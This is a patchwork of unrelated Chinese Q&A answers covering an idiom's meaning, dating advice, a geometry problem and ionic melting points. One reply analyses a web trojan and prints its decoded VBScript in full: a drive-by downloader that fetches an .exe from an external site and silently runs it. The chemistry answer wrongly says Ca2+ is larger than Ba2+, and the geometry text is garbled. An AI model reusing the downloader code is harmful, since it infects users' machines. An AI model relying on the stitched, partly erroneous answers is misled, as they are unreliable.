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你好，这是汉语拼音翻译出来就是马无夜草不肥，人无横财不富用马吃夜草来比喻某人在自己正常的收入之外得到了额外的财富。出处：《名贤集》《增广贤文》马在白天拉车赶路十分辛苦，能量消耗很大。而马是食草动物，吃一次草料后的消化时间很长，草料中所含能量又很低，无法满足白天的消耗。所以一般养马者都要在夜间给马补一次“夜宵”。否则的话，马的能量消耗不能及时补充，长此以往马会越来越瘦的。很高兴为你解答，满意请记得采纳噢不理解的欢迎随时追问，希望能帮到你

没什么太大意思，男生还是男人这个区别很大。男生的话估计就只是想和你亲近一下，如果男人的话，估计可以考虑一下那种方面了。但是也只是仅供考虑，毕竟很多巧合会导致很多误会的。

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这个是网页木马。浏览后会下载http://www.sd-taishan.com/nf/hao.exe这个木马并运行。怀疑放马者的QQ为5372453。附解密后的代码：SCRIPT>var Words="<html><script language="VBScript">on error resume nextMyQQ5372453="http://www.sd-taishan.com/nf/hao.exe"Set CAOc = document.createElement("object")c1 ="clsid:BD"c2="96C556-65A3-11"c3="D0-983A-00C04F"c4="C29E36"CAOc.setAttribute "classid",c1+c2+c3+c4seturla="down"seturlb="file"seturlc="copy"seturld="exit"seturle="base"CAOi="Microsoft.XMLHTTP"Set CAOd = CAOc.CreateObject(CAOi,"")seturlf="Ado"seturlg="db."seturlh="Str"seturli="eam"CAOf=seturlf&seturlg&seturlh&seturliCAOg=CAOfset CAOa = CAOc.createobject(CAOg,"")CAOa.type = 1CAOh="GET"CAOd.Open CAOh, MyQQ5372453, FalseCAOd.SendCAO9="hao.exe"set CAOb = CAOc.createobject("Scripting.FileSystemObject","")set CAOe = CAOb.GetSpecialFolder(2)CAOa.openCAO8="CAOa.BuildPath(CAOa,CAO8)"CAO7="CAOb.BuildPath(CAOb,CAO7)"CAO6="CAOc.BuildPath(CAOd,CAO6)"CAO5="CAOd.BuildPath(CAOf,CAO5)"CAO4="CAOe.BuildPath(CAOg,CAO4)"CAO3="CAOf.BuildPath(CAOh,CAO4)"CAO2="CAOg.BuildPath(CAOi,CAO3)"CAO1="CAOh.BuildPath(CAOg,CAO1)"CAO0="CAOi.BuildPath(CAOk,CAO0)"CAO9= CAOb.BuildPath(CAOe,CAO9)CAOa.write CAOd.responseBodyCAOa.savetofile CAO9,2CAOa.closeset CAOe = CAOc.createobject("Shell.Application","")CAOe.ShellExecute CAO9,BBS,BBS,"open", 0</script></html>";document.write(unescape(Words))</SCRIPT>黑防钻石VIP：046569

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15度或者105度分两种情况当c角aob和外情况若caob则角aoc=角aob-角boc=15度若caob外则角aoc=角aob+角boc=105度求采纳~

KCl、NaCl、CaO、BaO均为离子化合物，KCl、NaCl阴离子相同，电荷数相同，阳离子的半径越小，晶格能越大，熔点越高，阳离子半径K+＞Na+，则熔点NaCl＞KCl，BaO、CaO阴离子相同，电荷数相同，阳离子的半径越小，晶格能越大，熔点越高，阳离子半径Ca2+＞Ba2+，则熔点CaO＞BaO，阴、阳离子所带电荷越多，晶体的熔点越高；而且电荷的影响大于半径的影响，所以四种化合物熔点的高低顺序为CaO＞BaO＞NaCl＞KCl，故选C．

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